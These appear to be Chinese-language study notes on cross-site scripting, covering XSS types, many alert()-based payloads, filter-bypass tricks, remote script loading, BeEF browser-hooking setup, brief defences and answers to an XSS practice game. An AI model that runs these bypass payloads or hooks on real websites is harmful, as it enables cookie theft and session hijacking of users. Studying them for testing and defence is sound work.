[TOC]
壹、XSS概述
1、XSS原理:
XSS被称为跨站脚本,是一种发生在前端浏览器端的漏洞。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符(JS代码等)输出在前端时被浏览器当作代码解析执行从而产生危害。
博客、留言板、聊天室等收集用户输入的地方,都有可能被注入XSS代码,只要没对用户的输入进行过滤,就会被攻击。
2、XSS漏洞危害:
@1 盗取用户账号;
@2 盗取用户Cookie,冒充用户身份进入网站;
@3 劫持用户会话,执行任意操作;
@4 刷流量,执行弹窗广告等待;
3、XSS漏洞存在常用Poc:
<script>alert(/xss/)</script>
<script>confirm(/xss/)</script>
<script>prompt(/xss/)</script>
贰、XSS类型
1.反射型XSS: 非持久性,参数型的跨站脚本。反射型的XSS的代码在Web应用的参数中。
2.存储型XSS: 持久性跨站脚本,将代码写入数据库或文件等可以永久保存数据的介质中。
3.DOM型XSS:修改浏览器DOM树来执行恶意代码。
叁、XSS代码构造
1.利用<>
构造HTML标签或JS代码
<script>alert(/xss/)</script>
2.利用javascript:
伪协议的方式构造XSS
<a href="javascript:alert(/xss/)">touch me!</a>
3.事件驱动
<input type="text" onkeydown='alert(/xss/)'> //键盘点击触发
<input type="text" onkeyup='alert(/xss/)'> //键盘断开触发
<input type="button" onclick='alert(/xss/)'> //鼠标点击触发
<img src='file_path' onmouseover='alert(/xss/)' /> //鼠标悬停触发
<img src='file_path(#)' onerror='alert(/xss/)' /> //文档载入失败触发
4.其他触发方式
<svg onload='alert(/xss/)'>
<input onfocus=alert(/xss/) autofocus>
肆、XSS变形绕过
1.大小写转换:HTML对大小写不敏感;注意:alert函数属于JS,而JS对大小写敏感
<Img sRc='#' Onerror='alert(/xss/)' />
<a hREf='javaScript:alert(/xss/)'>touch me!</a>
2.引号的引用:HTML对引号不敏感
<img src="#" Onerror="alert(/xss/)" />
<img src='#' Onerror='alert(/xss/)' />
<img src=# Onerror=alert(/xss/) />
3.左斜线[/]代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4.添加制表符,回车符
<A hRef="j
a v
a s
c R
i p
t :
alert(/xss/)">touch me!</a>
5.对标签属性值进行转码
常用字符编码:
字母 | 十进制编码 | 十六进制编码 |
---|---|---|
a |
a |
a |
e |
e |
e |
//编码绕过
<A hRef="javascRipt:alert(/xss/)">touch me!</a>
下面字符可以插入任意位置
Tab:	
换行:
回车:
下面字符可以插入头部
SOH:
STX:
<A hRef="javas	c R ipt:alert(/xss/)">touch me!</a>
6.拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>ecal(z)</script>
7.双写绕过:针对一次过滤 eg:<scr<script>ipt>
伍、Shellcode的调用
Shellcode就是利用漏洞所执行的代码。完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode.
远程调用JS:将JS代码放在js文件中,然后通过http协议远程加载该脚本。如<script src="http://127.0.0.1/XSS/xss.js"></script>
, 其中xss.js文件内容为Shellcode
……后面补>_<…….
陆、XSS防御与会话劫持
1.XSS防御
使用XSS Filter:
- 输入过滤:对输入字符、长度、范围,格式要求进行过滤,不允许可能导致XSS攻击的字符输入;
- 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
- 黑白名单:黑名单-非允许数据 白名单-允许的数据
2.beef(kali自带)浏览器劫持
beef 所在目录:/usr/share/beef-xss;配置文件:/usr/share/beef-xss/config.yaml
第一次使用要修改默认用户、密码
web界面管理控制台:http://ip:3000/ui/panel
Shellcode:http://ip:3000/hook.js
3.美少妇(msf)利用浏览器漏洞getshell
可以配合 beef 工具一起使用,由于msf工具我还搞明白,以后再补上>_<!
柒、XSS实战通关游戏
XSS通关小游戏链接:xss平台 - 游戏闯关练习
游戏一:测试过滤代码<script “‘Oonn>
[01]:
<script>alert(/xss/)</script>
[02]:
"><img onerror=alert(/xss/) src='#'>
[03]:
' onmouseover='alert(/xss/)
[04]:
" onmouseover="alert(/xss/)
[05]:
测试代码<script script "'Oonn> 答案:"><a href="javascript:alert(/xss/)">hello</a>
[06]:
"><a hRef="javascript:alert(/xss/)">hello</a>
[07]:
" oonnmouseover="alert(/xss/)
[08]:
javascript:alert(/xss/)
[09]:
javascript:alert('http://')
[10]:
t_sort=hello" type="button" onclick="alert(/xss/)
[11]:
Referer:hello" type="button" onclick="alert(/xss/)---BP抓包修改Referer字段
…….